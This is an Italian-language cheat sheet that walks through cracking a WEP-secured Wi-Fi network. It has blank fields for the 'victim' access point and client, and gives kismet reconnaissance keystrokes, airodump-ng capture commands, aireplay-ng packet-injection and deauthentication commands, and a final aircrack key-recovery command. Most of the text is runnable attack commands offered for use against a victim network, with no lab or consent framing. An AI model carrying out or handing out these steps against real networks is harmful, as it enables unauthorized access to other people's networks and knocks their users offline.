

MAC ATTACCANTE
: : : : :

SSID AP VITTIMA

INTERFACCIA PER IL PACKET INJECTION

MAC AP VITTIMA
: : : : :

CANALE AP VITTIMA

MAC VITTIMA
: : : : :

1. IWCONFIG

IWCONFIG MOSTRA LE INTERFACCE WIRELESS PRESENTI
OTTENIAMO INTERFACCIA E MAC ATTACCANTE

2. KISMET

SHIFT+M MUTE :-)
OTTENIAMO SSID E CANALE

SHIFT+S
S SORT – PERMETTE DI ORDINARE I SEGNALI
ORDINA PER SSID E CI PERMETTE DI SELEZIONARE
L'AP VITTIMA

SHIFT+I VISUALIZZA LE INFORMAZIONI SULL'AP
OTTENIAMO IL MAC AP VITTIMA

SHIFT+C VISUALIZZA I CLIENT CONNESSI ALL'AP
OTTENIAMO IL MAC VITTIMA

Q CHIDE LA SCHERMATA

SHIFT+Q CHIUDE KISMET

SU ALTRO PC O ALTRA INTERFACCIA WIRELESS

3. AIRODUMP

iwconfig **INTERFACCIA** channel **CANALE**
iwconfig **INTERFACCIA** mode monitor
mkdir cap
cd cap
airodump-ng --ivs --write cap --channel **CANALE INTERFACCIA**

SUL PC CON SCHEDA CAPACE DI PACKET INJECTION

4. AIREPLAY

iwconfig **INTERFACCIA** channel **CANALE**
iwconfig **INTERFACCIA** mode monitor
aireplay-ng -2 -b **MAC AP VITTIMA** -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -p 0841 -h **MAC VITTIMA INTERFACCIA**

5. AIREPLAY (in altra finestra)

aireplay-ng -0 5 -a **MAC AP VITTIMA** -c **MAC VITTIMA INTERFACCIA**

Attendere finché la prima finestra chiede se usare il pacchetto sniffato.

Aspettiamo 200.000 pacchetti per una chiave 64bit, 500.000 per 128bit e 1.000.000 per una 256bit.

SUPPONIAMO CHE LA CHIAVE SIA DI 64BIT. SE NON OTTENIAMO RISULTATI, PROVIAMO CON 128, OPPURE 256.

6. AIRCRACK

aircrack -f 2 -m **MAC AP VITTIMA** -n **DIMENSIONE CHIAVE** cap*.ivs